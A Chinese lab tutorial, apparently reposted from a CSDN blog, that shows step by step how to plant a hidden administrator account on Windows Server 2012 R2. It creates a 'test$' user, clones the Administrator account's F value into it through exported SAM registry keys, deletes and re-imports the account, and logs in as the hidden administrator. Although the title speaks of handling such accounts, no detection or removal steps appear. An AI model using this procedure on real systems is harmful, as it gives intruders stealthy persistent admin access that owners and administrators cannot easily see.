Windows隐藏账户处置
作者：互联网
实验环境
一台windows server 2012 r2
一、使用命令行创建用户
1、打开命令行
2、新建test$用户
net user test$ sxf!7890 /add
net localgroup administrators test$ /add
二、观察test$用户
1、使用系统计算机管理工具
2、使用命令行查看用户
在命令行输入
net user
无法看到test$用户
三、导出test$和administrator用户注册表信息
1、打开注册表
命令行中输入
regedit
2、获取SAM项权限
刷新权限
3、导出test$用户信息
导出下面键为test.reg
这里0X3EA为随机值，每台主机都会不一样
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$
4、导出test$的UID值
5、导出administrator的UID项
在windows下，administrator的UID固定为1F4
四、修改导出的注册表信息
1、将admin_id中的F值，复制到uid中的F值
编辑admin_id
复制F的值 编辑uid 粘贴F值
保存文件
五、删除test$用户，导入注册表
1、删除test$用户
使用下面命令
net user test$ /del
2、导入桌面上的 test 和 uid注册表文件
导入test
六、查看隐藏账户
1、使用计算机管理，查看用户，并未发现test$，记得刷新一下
2、修改组策略，允许自定义用户登录
在命令提示符中输入
gpedit.msc
定位到安全选项，不显示最后的用户名
注销administrator用户
使用test$用户登录
输入用户名 test$
输入密码 bai123456（自己设置的）
标签：处置,administrator,Windows,导出,用户,注册表,test,net,隐藏 来源： https://blog.csdn.net/xdjxi/article/details/121662288